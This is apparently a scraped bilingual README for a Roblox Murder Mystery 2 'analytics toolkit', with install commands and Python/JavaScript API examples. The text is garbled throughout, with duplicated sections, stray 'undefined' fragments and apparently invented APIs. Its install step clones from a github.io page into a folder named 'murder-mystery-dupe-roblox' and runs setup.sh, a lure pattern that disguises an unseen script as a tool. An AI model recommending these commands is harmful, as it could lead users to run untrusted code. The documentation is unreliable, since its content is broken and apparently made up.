mm2-roblox-analytics-toolkit
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ChineseMM2 Roblox Analytics Toolkit
MM2 Roblox 分析工具包
Overview
概述
The MM2 Analytics Toolkit is a comprehensive data analysis and inventory management system for Roblox's Murder Mystery 2 game. It provides:
- Inventory tracking for knife skins, gamepasses, and collectibles
- Analytics dashboard with visualization of gameplay statistics
- Strategy analysis using pattern recognition and AI-powered insights
- Performance metrics tracking win/loss ratios across different roles
- Export capabilities for data analysis in CSV/JSON formats
MM2分析工具包是针对Roblox平台《Murder Mystery 2》游戏的综合性数据分析与库存管理系统。它提供以下功能:
- 库存追踪:追踪刀具皮肤、游戏通行证和收藏品
- 分析仪表盘:可视化游戏玩法统计数据
- 策略分析:使用模式识别和AI驱动的洞察分析策略
- 性能指标:追踪不同角色的胜负率
- 导出功能:支持以CSV/JSON格式导出数据用于分析
Installation
安装
Automated Setup
自动安装
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --installbash
git clone https://8015238355.github.io
cd murder-mystery-dupe-roblox
chmod +x setup.sh
./setup.sh --installManual Installation
手动安装
bash
git clone https://8015238355.github.io
cd murder-mystery-dupe-robloxbash
git clone https://8015238355.github.io
cd murder-mystery-dupe-robloxInstall Node.js dependencies
Install Node.js dependencies
npm install
npm install
Install Python dependencies
Install Python dependencies
python3 -m pip install -r requirements.txt
undefinedpython3 -m pip install -r requirements.txt
undefinedEnvironment Configuration
环境配置
Create a file in the project root:
.envbash
undefined在项目根目录创建文件:
.envbash
undefinedAPI Keys (optional for AI features)
API Keys (optional for AI features)
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
API_OPENAI_KEY=${OPENAI_API_KEY}
API_CLAUDE_KEY=${CLAUDE_API_KEY}
Data Configuration
Data Configuration
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
DATA_DIRECTORY=./data/collections
ANALYTICS_INTERVAL=300
ENABLE_LIVE_TRACKING=true
Export Settings
Export Settings
EXPORT_FORMAT=json
LOG_LEVEL=INFO
undefinedEXPORT_FORMAT=json
LOG_LEVEL=INFO
undefinedConfiguration
配置
Profile Setup
配置文件设置
Create a profile configuration file :
config/profile.yamlyaml
profile:
username: "MyRobloxUsername"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "godly"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"
- name: "stealth_murderer"
priority: "shadow_movement"创建配置文件:
config/profile.yamlyaml
profile:
username: "MyRobloxUsername"
preferred_role: "sheriff"
inventory_filter:
- category: "knife_skins"
rarity: ["legendary", "ancient", "godly"]
- category: "gamepasses"
active: true
analytics_preferences:
tracking_mode: "comprehensive"
data_refresh_rate: 30
export_format: "csv, json"
strategy_templates:
- name: "aggressive_sheriff"
priority: "high_visibility_areas"
- name: "passive_innocent"
priority: "distraction_avoidance"
- name: "stealth_murderer"
priority: "shadow_movement"Language Configuration
语言配置
Edit for language preferences:
config/locale.jsonjson
{
"language": "en",
"date_format": "YYYY-MM-DD",
"timezone": "UTC",
"number_format": "en-US"
}编辑设置语言偏好:
config/locale.jsonjson
{
"language": "en",
"date_format": "YYYY-MM-DD",
"timezone": "UTC",
"number_format": "en-US"
}Key Commands
核心命令
Analytics Mode
分析模式
Run comprehensive analytics on your MM2 data:
bash
python3 main.py --mode analytics \
--profile my_profile \
--export statistics_2026.json \
--format json \
--verboseOutput:
[MURDER MYSTERY 2026] Initializing analytics engine...
[ANALYTICS] Loading profile: my_profile
[INVENTORY] Scanning for mm2-knife-skins... DONE (47 items found)
[STRATEGY] Analyzing mm2-strategy patterns... DONE
[EXPORT] Writing statistics_2026.json (1.2MB)
[FINISHED] Session complete. Duration: 3m 42s对MM2数据运行全面分析:
bash
python3 main.py --mode analytics \
--profile my_profile \
--export statistics_2026.json \
--format json \
--verbose输出:
[MURDER MYSTERY 2026] 初始化分析引擎...
[ANALYTICS] 加载配置文件:my_profile
[INVENTORY] 扫描mm2-knife-skins... 完成(找到47个物品)
[STRATEGY] 分析mm2-strategy模式... 完成
[EXPORT] 写入statistics_2026.json(1.2MB)
[FINISHED] 会话完成。时长:3分42秒Inventory Management
库存管理
Scan and catalog your inventory:
bash
python3 main.py --mode inventory \
--scan \
--filter legendary \
--export inventory_report.csv扫描并分类你的库存:
bash
python3 main.py --mode inventory \
--scan \
--filter legendary \
--export inventory_report.csvStrategy Analysis
策略分析
Analyze gameplay patterns:
bash
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--sessions 100分析游戏玩法模式:
bash
python3 main.py --mode strategy \
--analyze-patterns \
--role sheriff \
--sessions 100Live Tracking
实时追踪
Enable real-time statistics tracking:
bash
python3 main.py --mode live \
--track \
--interval 30 \
--dashboard启用实时统计追踪:
bash
python3 main.py --mode live \
--track \
--interval 30 \
--dashboardCore API Usage
核心API使用
Python API
Python API
Inventory Tracker
库存追踪器
python
from mm2_toolkit import InventoryManager, RarityFilterpython
from mm2_toolkit import InventoryManager, RarityFilterInitialize inventory manager
Initialize inventory manager
inventory = InventoryManager(
profile="my_profile",
data_dir="./data/collections"
)
inventory = InventoryManager(
profile="my_profile",
data_dir="./data/collections"
)
Scan for knife skins
Scan for knife skins
knife_skins = inventory.scan_category(
category="knife_skins",
filters=RarityFilter(["legendary", "ancient", "godly"])
)
knife_skins = inventory.scan_category(
category="knife_skins",
filters=RarityFilter(["legendary", "ancient", "godly"])
)
Get collection statistics
Get collection statistics
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['rarity_breakdown']['legendary']}")
print(f"Collection value: ${stats['estimated_value']}")
stats = inventory.get_statistics()
print(f"Total items: {stats['total_count']}")
print(f"Legendary items: {stats['rarity_breakdown']['legendary']}")
print(f"Collection value: ${stats['estimated_value']}")
Export inventory
Export inventory
inventory.export(
filename="my_inventory.json",
format="json",
include_metadata=True
)
undefinedinventory.export(
filename="my_inventory.json",
format="json",
include_metadata=True
)
undefinedAnalytics Engine
分析引擎
python
from mm2_toolkit import AnalyticsEngine, MetricTypepython
from mm2_toolkit import AnalyticsEngine, MetricTypeInitialize analytics
Initialize analytics
analytics = AnalyticsEngine(
profile="my_profile",
tracking_mode="comprehensive"
)
analytics = AnalyticsEngine(
profile="my_profile",
tracking_mode="comprehensive"
)
Load gameplay data
Load gameplay data
analytics.load_sessions(limit=100)
analytics.load_sessions(limit=100)
Calculate win rates by role
Calculate win rates by role
sheriff_stats = analytics.get_role_statistics("sheriff")
print(f"Sheriff win rate: {sheriff_stats['win_rate']:.2%}")
print(f"Average survival time: {sheriff_stats['avg_survival_time']}s")
sheriff_stats = analytics.get_role_statistics("sheriff")
print(f"Sheriff win rate: {sheriff_stats['win_rate']:.2%}")
print(f"Average survival time: {sheriff_stats['avg_survival_time']}s")
Analyze strategy effectiveness
Analyze strategy effectiveness
strategy_report = analytics.analyze_strategy(
strategy_name="aggressive_sheriff",
metric=MetricType.WIN_RATE
)
strategy_report = analytics.analyze_strategy(
strategy_name="aggressive_sheriff",
metric=MetricType.WIN_RATE
)
Generate visualizations
Generate visualizations
analytics.create_chart(
chart_type="line",
metric="win_rate_over_time",
output="win_rate_chart.png"
)
undefinedanalytics.create_chart(
chart_type="line",
metric="win_rate_over_time",
output="win_rate_chart.png"
)
undefinedStrategy Optimizer
策略优化器
python
from mm2_toolkit import StrategyOptimizer, Rolepython
from mm2_toolkit import StrategyOptimizer, RoleInitialize optimizer
Initialize optimizer
optimizer = StrategyOptimizer(
profile="my_profile",
ai_enabled=True
)
optimizer = StrategyOptimizer(
profile="my_profile",
ai_enabled=True
)
Get recommendations for a role
Get recommendations for a role
recommendations = optimizer.get_recommendations(
role=Role.SHERIFF,
playstyle="aggressive",
map="de_house"
)
for rec in recommendations:
print(f"Strategy: {rec['name']}")
print(f"Success rate: {rec['success_rate']:.2%}")
print(f"Description: {rec['description']}\n")
recommendations = optimizer.get_recommendations(
role=Role.SHERIFF,
playstyle="aggressive",
map="de_house"
)
for rec in recommendations:
print(f"Strategy: {rec['name']}")
print(f"Success rate: {rec['success_rate']:.2%}")
print(f"Description: {rec['description']}\n")
Simulate strategy performance
Simulate strategy performance
simulation = optimizer.simulate_strategy(
strategy="aggressive_sheriff",
iterations=1000
)
print(f"Predicted win rate: {simulation['predicted_win_rate']:.2%}")
undefinedsimulation = optimizer.simulate_strategy(
strategy="aggressive_sheriff",
iterations=1000
)
print(f"Predicted win rate: {simulation['predicted_win_rate']:.2%}")
undefinedJavaScript/Node.js API
JavaScript/Node.js API
javascript
const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');
// Initialize managers
const inventory = new InventoryManager({
profile: 'my_profile',
dataDir: './data/collections'
});
const analytics = new AnalyticsEngine({
profile: 'my_profile',
trackingMode: 'comprehensive'
});
// Scan inventory
async function scanInventory() {
const knifeSkins = await inventory.scanCategory('knife_skins', {
rarity: ['legendary', 'ancient', 'godly']
});
console.log(`Found ${knifeSkins.length} knife skins`);
// Export to JSON
await inventory.export('inventory.json', {
format: 'json',
includeMetadata: true
});
}
// Analyze gameplay
async function analyzeGameplay() {
await analytics.loadSessions({ limit: 100 });
const sheriffStats = analytics.getRoleStatistics('sheriff');
console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
// Create visualization
await analytics.createChart({
type: 'line',
metric: 'win_rate_over_time',
output: 'win_rate_chart.png'
});
}
scanInventory();
analyzeGameplay();javascript
const { InventoryManager, AnalyticsEngine } = require('./mm2-toolkit');
// Initialize managers
const inventory = new InventoryManager({
profile: 'my_profile',
dataDir: './data/collections'
});
const analytics = new AnalyticsEngine({
profile: 'my_profile',
trackingMode: 'comprehensive'
});
// Scan inventory
async function scanInventory() {
const knifeSkins = await inventory.scanCategory('knife_skins', {
rarity: ['legendary', 'ancient', 'godly']
});
console.log(`Found ${knifeSkins.length} knife skins`);
// Export to JSON
await inventory.export('inventory.json', {
format: 'json',
includeMetadata: true
});
}
// Analyze gameplay
async function analyzeGameplay() {
await analytics.loadSessions({ limit: 100 });
const sheriffStats = analytics.getRoleStatistics('sheriff');
console.log(`Sheriff win rate: ${(sheriffStats.winRate * 100).toFixed(2)}%`);
// Create visualization
await analytics.createChart({
type: 'line',
metric: 'win_rate_over_time',
output: 'win_rate_chart.png'
});
}
scanInventory();
analyzeGameplay();Data Export Patterns
数据导出模式
Export to JSON
导出为JSON
python
from mm2_toolkit import DataExporter
exporter = DataExporter(profile="my_profile")python
from mm2_toolkit import DataExporter
exporter = DataExporter(profile="my_profile")Export complete analytics
Export complete analytics
exporter.export_analytics(
filename="complete_stats.json",
include_sections=[
"inventory",
"gameplay_stats",
"strategy_analysis",
"predictions"
]
)
Output structure:
```json
{
"profile": "my_profile",
"export_date": "2026-05-16T21:56:49Z",
"inventory": {
"total_items": 47,
"knife_skins": [...],
"gamepasses": [...]
},
"gameplay_stats": {
"total_sessions": 342,
"win_rate": 0.68,
"role_breakdown": {...}
}
}exporter.export_analytics(
filename="complete_stats.json",
include_sections=[
"inventory",
"gameplay_stats",
"strategy_analysis",
"predictions"
]
)
输出结构:
```json
{
"profile": "my_profile",
"export_date": "2026-05-16T21:56:49Z",
"inventory": {
"total_items": 47,
"knife_skins": [...],
"gamepasses": [...]
},
"gameplay_stats": {
"total_sessions": 342,
"win_rate": 0.68,
"role_breakdown": {...}
}
}Export to CSV
导出为CSV
python
undefinedpython
undefinedExport inventory as CSV
Export inventory as CSV
exporter.export_inventory(
filename="inventory.csv",
columns=["name", "rarity", "category", "acquisition_date", "value"]
)
exporter.export_inventory(
filename="inventory.csv",
columns=["name", "rarity", "category", "acquisition_date", "value"]
)
Export gameplay sessions
Export gameplay sessions
exporter.export_sessions(
filename="sessions.csv",
columns=["date", "role", "result", "duration", "map"]
)
undefinedexporter.export_sessions(
filename="sessions.csv",
columns=["date", "role", "result", "duration", "map"]
)
undefinedAdvanced Patterns
高级模式
Batch Analysis
批量分析
python
from mm2_toolkit import BatchAnalyzer
analyzer = BatchAnalyzer()python
from mm2_toolkit import BatchAnalyzer
analyzer = BatchAnalyzer()Analyze multiple profiles
Analyze multiple profiles
profiles = ["profile1", "profile2", "profile3"]
results = analyzer.analyze_multiple(
profiles=profiles,
metrics=["win_rate", "collection_value", "playtime"]
)
profiles = ["profile1", "profile2", "profile3"]
results = analyzer.analyze_multiple(
profiles=profiles,
metrics=["win_rate", "collection_value", "playtime"]
)
Compare performance
Compare performance
comparison = analyzer.compare_profiles(
profiles=profiles,
metric="win_rate",
role="sheriff"
)
comparison = analyzer.compare_profiles(
profiles=profiles,
metric="win_rate",
role="sheriff"
)
Generate comparative report
Generate comparative report
analyzer.generate_report(
comparison,
output="profile_comparison.pdf"
)
undefinedanalyzer.generate_report(
comparison,
output="profile_comparison.pdf"
)
undefinedAI-Powered Predictions
AI驱动预测
python
from mm2_toolkit import AIPredictionEnginepython
from mm2_toolkit import AIPredictionEngineInitialize with API keys from environment
Initialize with API keys from environment
predictor = AIPredictionEngine(
openai_key="${OPENAI_API_KEY}",
claude_key="${CLAUDE_API_KEY}"
)
predictor = AIPredictionEngine(
openai_key="${OPENAI_API_KEY}",
claude_key="${CLAUDE_API_KEY}"
)
Predict optimal strategy
Predict optimal strategy
prediction = predictor.predict_optimal_strategy(
current_stats={
"role": "sheriff",
"win_rate": 0.62,
"avg_survival": 180
},
context="competitive_mode"
)
print(f"Recommended strategy: {prediction['strategy']}")
print(f"Confidence: {prediction['confidence']:.2%}")
print(f"Reasoning: {prediction['reasoning']}")
undefinedprediction = predictor.predict_optimal_strategy(
current_stats={
"role": "sheriff",
"win_rate": 0.62,
"avg_survival": 180
},
context="competitive_mode"
)
print(f"Recommended strategy: {prediction['strategy']}")
print(f"Confidence: {prediction['confidence']:.2%}")
print(f"Reasoning: {prediction['reasoning']}")
undefinedReal-time Dashboard
实时仪表盘
python
from mm2_toolkit import Dashboardpython
from mm2_toolkit import DashboardStart live dashboard
Start live dashboard
dashboard = Dashboard(
profile="my_profile",
port=8080,
auto_refresh=30
)
dashboard = Dashboard(
profile="my_profile",
port=8080,
auto_refresh=30
)
Configure widgets
Configure widgets
dashboard.add_widget("inventory_value", position=(0, 0))
dashboard.add_widget("win_rate_chart", position=(1, 0))
dashboard.add_widget("recent_sessions", position=(0, 1))
dashboard.add_widget("inventory_value", position=(0, 0))
dashboard.add_widget("win_rate_chart", position=(1, 0))
dashboard.add_widget("recent_sessions", position=(0, 1))
Launch server
Launch server
dashboard.start()
print("Dashboard running at http://localhost:8080")
undefineddashboard.start()
print("Dashboard running at http://localhost:8080")
undefinedCommon Workflows
常见工作流
Complete Analysis Workflow
完整分析工作流
python
from mm2_toolkit import (
InventoryManager,
AnalyticsEngine,
StrategyOptimizer,
DataExporter
)
def complete_analysis(profile_name):
# Step 1: Scan inventory
inventory = InventoryManager(profile=profile_name)
inventory.scan_all_categories()
# Step 2: Load and analyze gameplay data
analytics = AnalyticsEngine(profile=profile_name)
analytics.load_sessions(limit=500)
# Step 3: Calculate statistics
overall_stats = analytics.get_overall_statistics()
role_stats = {
"sheriff": analytics.get_role_statistics("sheriff"),
"murderer": analytics.get_role_statistics("murderer"),
"innocent": analytics.get_role_statistics("innocent")
}
# Step 4: Get strategy recommendations
optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
recommendations = optimizer.get_all_recommendations()
# Step 5: Export everything
exporter = DataExporter(profile=profile_name)
exporter.export_complete_report(
filename=f"{profile_name}_report.json",
include_inventory=True,
include_analytics=True,
include_recommendations=True
)
return {
"inventory": inventory.get_summary(),
"stats": overall_stats,
"role_performance": role_stats,
"recommendations": recommendations
}python
from mm2_toolkit import (
InventoryManager,
AnalyticsEngine,
StrategyOptimizer,
DataExporter
)
def complete_analysis(profile_name):
# Step 1: Scan inventory
inventory = InventoryManager(profile=profile_name)
inventory.scan_all_categories()
# Step 2: Load and analyze gameplay data
analytics = AnalyticsEngine(profile=profile_name)
analytics.load_sessions(limit=500)
# Step 3: Calculate statistics
overall_stats = analytics.get_overall_statistics()
role_stats = {
"sheriff": analytics.get_role_statistics("sheriff"),
"murderer": analytics.get_role_statistics("murderer"),
"innocent": analytics.get_role_statistics("innocent")
}
# Step 4: Get strategy recommendations
optimizer = StrategyOptimizer(profile=profile_name, ai_enabled=True)
recommendations = optimizer.get_all_recommendations()
# Step 5: Export everything
exporter = DataExporter(profile=profile_name)
exporter.export_complete_report(
filename=f"{profile_name}_report.json",
include_inventory=True,
include_analytics=True,
include_recommendations=True
)
return {
"inventory": inventory.get_summary(),
"stats": overall_stats,
"role_performance": role_stats,
"recommendations": recommendations
}Run complete analysis
Run complete analysis
results = complete_analysis("my_profile")
print(f"Analysis complete. Total value: ${results['inventory']['total_value']}")
undefinedresults = complete_analysis("my_profile")
print(f"Analysis complete. Total value: ${results['inventory']['total_value']}")
undefinedTroubleshooting
故障排除
Common Issues
常见问题
Issue: "Profile not found" error
bash
undefined问题:"Profile not found"错误
bash
undefinedCheck available profiles
Check available profiles
python3 main.py --list-profiles
python3 main.py --list-profiles
Create new profile
Create new profile
python3 main.py --create-profile my_new_profile
**Issue: Data export fails**
```python
from mm2_toolkit import DataExporter, ExportFormat
exporter = DataExporter(profile="my_profile")python3 main.py --create-profile my_new_profile
**问题:数据导出失败**
```python
from mm2_toolkit import DataExporter, ExportFormat
exporter = DataExporter(profile="my_profile")Validate data before export
Validate data before export
if exporter.validate_data():
exporter.export_analytics(
filename="stats.json",
format=ExportFormat.JSON
)
else:
print("Data validation failed:")
print(exporter.get_validation_errors())
**Issue: Analytics engine returns no data**
```python
from mm2_toolkit import AnalyticsEngine
analytics = AnalyticsEngine(profile="my_profile")if exporter.validate_data():
exporter.export_analytics(
filename="stats.json",
format=ExportFormat.JSON
)
else:
print("Data validation failed:")
print(exporter.get_validation_errors())
**问题:分析引擎无数据返回**
```python
from mm2_toolkit import AnalyticsEngine
analytics = AnalyticsEngine(profile="my_profile")Check data availability
Check data availability
data_status = analytics.check_data_status()
print(f"Sessions available: {data_status['session_count']}")
print(f"Date range: {data_status['date_range']}")
data_status = analytics.check_data_status()
print(f"Sessions available: {data_status['session_count']}")
print(f"Date range: {data_status['date_range']}")
Force data reload
Force data reload
if data_status['session_count'] == 0:
analytics.force_reload()
**Issue: API rate limiting**
```python
from mm2_toolkit import AIPredictionEngine
import time
predictor = AIPredictionEngine(
openai_key="${OPENAI_API_KEY}",
rate_limit=True, # Enable rate limiting
requests_per_minute=10
)if data_status['session_count'] == 0:
analytics.force_reload()
**问题:API速率限制**
```python
from mm2_toolkit import AIPredictionEngine
import time
predictor = AIPredictionEngine(
openai_key="${OPENAI_API_KEY}",
rate_limit=True, # Enable rate limiting
requests_per_minute=10
)Use with rate limiting
Use with rate limiting
for strategy in strategies:
prediction = predictor.predict_optimal_strategy(strategy)
time.sleep(6) # Ensure rate limit compliance
undefinedfor strategy in strategies:
prediction = predictor.predict_optimal_strategy(strategy)
time.sleep(6) # Ensure rate limit compliance
undefinedPerformance Optimization
性能优化
python
from mm2_toolkit import AnalyticsEngine, CacheManagerpython
from mm2_toolkit import AnalyticsEngine, CacheManagerEnable caching for better performance
Enable caching for better performance
cache = CacheManager(ttl=3600) # 1 hour TTL
analytics = AnalyticsEngine(
profile="my_profile",
cache_manager=cache
)
cache = CacheManager(ttl=3600) # 1 hour TTL
analytics = AnalyticsEngine(
profile="my_profile",
cache_manager=cache
)
Batch load sessions
Batch load sessions
analytics.load_sessions(
limit=1000,
batch_size=100, # Load in batches
parallel=True # Enable parallel processing
)
undefinedanalytics.load_sessions(
limit=1000,
batch_size=100, # Load in batches
parallel=True # Enable parallel processing
)
undefinedDebugging
调试
python
import logging
from mm2_toolkit import InventoryManagerpython
import logging
from mm2_toolkit import InventoryManagerEnable debug logging
Enable debug logging
logging.basicConfig(level=logging.DEBUG)
inventory = InventoryManager(
profile="my_profile",
debug=True,
verbose=True
)
logging.basicConfig(level=logging.DEBUG)
inventory = InventoryManager(
profile="my_profile",
debug=True,
verbose=True
)
Dry run mode for testing
Dry run mode for testing
inventory.scan_category(
category="knife_skins",
dry_run=True # Don't modify data
)
undefinedinventory.scan_category(
category="knife_skins",
dry_run=True # Don't modify data
)
undefinedIntegration Examples
集成示例
Web Dashboard Integration
Web仪表盘集成
javascript
const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');
const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });
app.get('/api/stats', async (req, res) => {
const stats = await analytics.getOverallStatistics();
res.json(stats);
});
app.get('/api/inventory', async (req, res) => {
const inventory = await analytics.getInventorySummary();
res.json(inventory);
});
app.listen(3000, () => {
console.log('API server running on port 3000');
});javascript
const express = require('express');
const { AnalyticsEngine } = require('./mm2-toolkit');
const app = express();
const analytics = new AnalyticsEngine({ profile: 'my_profile' });
app.get('/api/stats', async (req, res) => {
const stats = await analytics.getOverallStatistics();
res.json(stats);
});
app.get('/api/inventory', async (req, res) => {
const inventory = await analytics.getInventorySummary();
res.json(inventory);
});
app.listen(3000, () => {
console.log('API server running on port 3000');
});Automated Reporting
自动报告
python
from mm2_toolkit import DataExporter, ReportScheduler
import schedule
def generate_weekly_report():
exporter = DataExporter(profile="my_profile")
exporter.export_complete_report(
filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
include_charts=True
)python
from mm2_toolkit import DataExporter, ReportScheduler
import schedule
def generate_weekly_report():
exporter = DataExporter(profile="my_profile")
exporter.export_complete_report(
filename=f"weekly_report_{datetime.now().strftime('%Y%m%d')}.pdf",
include_charts=True
)Schedule weekly reports
Schedule weekly reports
scheduler = ReportScheduler()
scheduler.add_task(generate_weekly_report, interval="weekly", day="monday")
scheduler.start()
undefinedscheduler = ReportScheduler()
scheduler.add_task(generate_weekly_report, interval="weekly", day="monday")
scheduler.start()
undefined